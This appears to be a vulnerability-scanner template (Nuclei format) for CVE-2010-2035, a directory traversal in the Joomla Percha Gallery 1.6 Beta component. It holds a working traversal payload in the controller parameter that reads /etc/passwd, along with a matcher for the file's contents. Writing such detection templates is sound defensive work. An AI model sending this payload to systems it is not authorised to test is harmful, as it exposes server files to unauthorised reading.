id: CVE-2010-2035

info:
  name: Joomla! Component Percha Gallery 1.6 Beta - Directory Traversal
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the Percha Gallery (com_perchagallery) component 1.6 Beta for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    An attacker can access sensitive files on the server, potentially leading to unauthorized disclosure of sensitive information.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/34006
    - https://nvd.nist.gov/vuln/detail/CVE-2010-2035
    - http://packetstormsecurity.org/1005-exploits/joomlaperchagl-lfi.txt
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-2035
    cwe-id: CWE-22
    epss-score: 0.15781
    epss-percentile: 0.96446
    cpe: cpe:2.3:a:percha:com_perchagallery:1.6:beta:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: percha
    product: com_perchagallery
  tags: cve,cve2010,packetstorm,joomla,lfi,edb,percha,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_perchagallery&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b4c9763b17ecc2e2141822f1ba7fd4bc444bed814843a601852b02d9c55fd15e02205dc2c44673d3fd97d85efebd1a33b99c003f31df22a1cf5f23c2aa00a6053500:922c64590222798bb761d5b6d8e72950